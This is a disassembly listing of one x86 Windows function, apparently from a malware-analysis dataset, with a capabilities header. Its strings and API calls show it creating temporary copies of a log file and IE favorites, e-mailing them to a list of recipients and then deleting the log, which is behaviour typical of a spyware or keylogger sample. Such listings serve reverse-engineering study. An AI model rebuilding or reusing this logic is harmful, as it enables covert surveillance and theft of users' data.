Function at 0x406647
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes

Disassembly:
mov eax, 0x4089b7
call fcn.00408540
sub esp, 0x4c0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x406674
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406674
xor eax, eax
jmp 0x406a5a
lea ecx, [ebp - 0x14]
call fcn.00405266
and dword [ebp - 4], 0
lea ecx, [ebp - 0xbc]
call fcn.0040784b
push dword [0x411020]
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 1
call fcn.0040788f
push dword [0x41101c]
lea ecx, [ebp - 0xbc]
push 2
call fcn.00407945
push 0x4107d8
push 1
lea ecx, [ebp - 0xbc]
call fcn.00407945
mov dl, byte [0x410ffc]
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x1bf]
mov byte [ebp - 0x1c0], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x3c7]
mov byte [ebp - 0x3c8], dl
mov esi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
test ebx, ebx
stosb byte es:[edi], al
je 0x406798
lea eax, [ebp - 0x3c8]
push eax
push 0x104
call esi
call sub.MSVCRT.dll_rand
push 0x64
cdq
pop ecx
idiv ecx
push edx
call sub.MSVCRT.dll_rand
push 0x64
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x3c8]
push edx
push eax
lea eax, [ebp - 0x1c0]
push str._s_d__d
push eax
call sub.MSVCRT.dll_sprintf
lea eax, [ebp - 0x1c0]
push eax
push ebx
call fcn.00404716
add esp, 0x1c
test eax, eax
je 0x40677f
lea eax, [ebp - 0x1c0]
lea ecx, [ebp - 0xbc]
push eax
push 8
call fcn.00407945
push str.LogFile.log
push 9
lea ecx, [ebp - 0xbc]
call fcn.00407945
jmp 0x406798
push str.Unable_to_open_logfile_while_sending_e_mail
push str.ERROR
call dword [0x411034]
and byte [ebp - 0x1c0], 0
pop ecx
pop ecx
mov al, byte [0x410ffc]
push 0x40
mov byte [ebp - 0x2c4], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x411004]
test al, 0x20
je 0x406822
test al, 0x40
je 0x406822
lea eax, [ebp - 0x4cc]
push eax
push 0x104
call esi
lea eax, [ebp - 0x2c4]
push eax
push 0
lea eax, [ebp - 0x4cc]
push str.ief_
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x2c4]
lea ecx, [ebp - 0x14]
push eax
call fcn.004054b6
test eax, eax
je 0x406822
lea eax, [ebp - 0x2c4]
lea ecx, [ebp - 0xbc]
push eax
push 0xa
call fcn.00407945
push str.IE_Favorites.html
push 0xb
lea ecx, [ebp - 0xbc]
call fcn.00407945
push dword [ebp + 0x10]
lea ecx, [ebp - 0xbc]
push 4
call fcn.00407945
push dword [ebp + 0x18]
lea ecx, [ebp - 0xbc]
push 5
call fcn.00407945
push dword [ebp + 0x18]
lea ecx, [ebp - 0x14]
push dword [ebp + 0x14]
call fcn.004055cf
lea ecx, [ebp - 0x14]
call fcn.00405689
push eax
push 6
lea ecx, [ebp - 0xbc]
call fcn.004079a4
mov eax, dword [0x411024]
xor esi, esi
mov dword [ebp + 0x10], esi
push 0x3b
push eax
call sub.MSVCRT.dll__mbschr
pop ecx
inc eax
pop ecx
je 0x406886
inc esi
cmp byte [eax], 0
mov dword [ebp + 0x10], esi
jne 0x406870
mov eax, esi
shl eax, 2
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, dword [0x411024]
mov edi, eax
test esi, esi
pop ecx
mov dword [ebp + 0x14], edi
jle 0x4068e3
mov dword [ebp + 0x18], esi
push 0x3b
push ebx
call sub.MSVCRT.dll__mbschr
mov esi, eax
push 0x104
inc esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, esi
mov dword [edi], eax
sub ecx, ebx
dec ecx
push ecx
push ebx
push eax
call sub.MSVCRT.dll__mbsnbcpy
mov ecx, dword [edi]
mov eax, esi
sub eax, ebx
add esp, 0x18
add edi, 4
mov ebx, esi
and byte [eax + ecx - 1], 0
dec dword [ebp + 0x18]
jne 0x4068a4
mov esi, dword [ebp + 0x10]
lea ecx, [ebp - 0x28]
call fcn.00407b97
and dword [ebp + 0x18], 0
mov byte [ebp - 4], 2
test esi, esi
jle 0x406943
mov edi, dword [ebp + 0x14]
push dword [edi]
lea ecx, [ebp - 0xbc]
push 0
call fcn.00407945
lea eax, [ebp - 0xbc]
push 1
push eax
lea ecx, [ebp - 0x28]
call fcn.00407bed
test eax, eax
mov dword [ebp + 0x10], eax
je 0x40692c
inc dword [ebp + 0x18]
add edi, 4
cmp dword [ebp + 0x18], esi
jl 0x4068fa
test esi, esi
jle 0x406943
mov edi, dword [ebp + 0x14]
mov ebx, esi
push dword [edi]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add edi, 4
dec ebx
pop ecx
jne 0x406935
mov al, byte [0x411004]
test al, 0x20
je 0x40695d
test al, 0x40
je 0x40695d
lea eax, [ebp - 0x2c4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [ebp - 0x1c0], 0
je 0x4069a0
mov al, byte [ebp + 0xb]
sub esp, 0x10
mov edi, esp
mov dword [ebp + 0x14], esp
push 0
mov ecx, edi
mov byte [edi], al
call fcn.004047cd
lea eax, [ebp - 0x1c0]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x1c0]
push eax
mov ecx, edi
call fcn.00404e51
call fcn.0040462e
add esp, 0x10
cmp dword [ebp + 0x18], esi
jne 0x4069cb
xor esi, esi
cmp dword [ebp + 0xc], esi
je 0x406a31
push dword [ebp + 0x10]
lea ecx, [ebp - 0x28]
call fcn.00408206
push eax
push str.MAILERROR
call dword [0x411034]
pop ecx
pop ecx
jmp 0x406a31
test byte [0x411004], 4
je 0x406a2e
cmp dword [ebp + 8], 0
je 0x406a2e
mov al, byte [ebp + 0xb]
sub esp, 0x10
mov esi, esp
mov dword [ebp + 0x18], esp
push 0
mov ecx, esi
mov byte [esi], al
call fcn.004047cd
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov ecx, esi
push dword [ebp + 8]
call fcn.00404e51
call fcn.0040462e
add esp, 0x10
test eax, eax
jne 0x406a1c
push str.Delete_logfile_failed
push str.ERROR
jmp 0x406a26
push str.Log_file_sent_by_e_mail
push str.E_MAIL
call dword [0x411034]
pop ecx
pop ecx
push 1
pop esi
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00407bcb
and byte [ebp - 4], 0
lea ecx, [ebp - 0xbc]
call fcn.00407884
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040528f
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret